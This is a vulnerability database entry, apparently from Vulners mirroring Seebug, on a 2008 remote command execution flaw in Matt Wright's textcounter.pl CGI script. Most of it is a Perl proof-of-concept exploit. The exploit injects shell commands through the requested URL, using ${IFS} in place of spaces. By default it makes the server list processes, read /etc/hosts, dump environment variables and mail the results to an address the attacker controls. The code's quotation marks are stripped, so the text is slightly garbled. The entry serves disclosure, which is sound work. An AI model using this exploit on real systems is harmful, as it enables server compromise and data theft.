Lucene search
K

Matt Wright textcounter.pl远程执行命令漏洞

🗓️ 25 Oct 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Remote command execution vulnerability in textcounter.pl by Matt Wrigh

Code

                                                Doru Petrescu ([email protected])提供了如下测试代码:

-- cut here --

#!/usr/bin/perl

$URL='http://dtp.kappa.ro/a/test.shtml';    # please _DO_ _modify_ this
$EMAIL='[email protected],root';          # please _DO_ _modify_ this


if ($ARGV[0]) {
   $CMD=$ARGV[0];
}else{
   $CMD= (ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothere_one ;
}

$text= ${URL}/;IFS=\8;${CMD};echo| ;
$text =~ s/ /\$\{IFS\}/g;

#print  $text\n ;

system({ wget }  wget , $text,  -O/dev/null );
system({ wget }  wget , $text,  -O/dev/null );
#system({ lynx }  lynx , $text);
#system({ lynx }  lynx , $text);     # if you don't have  wget 
                                  # you can try with  Lynx 


                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2008 00:00Current
7.1High risk
Vulners AI Score7.1
21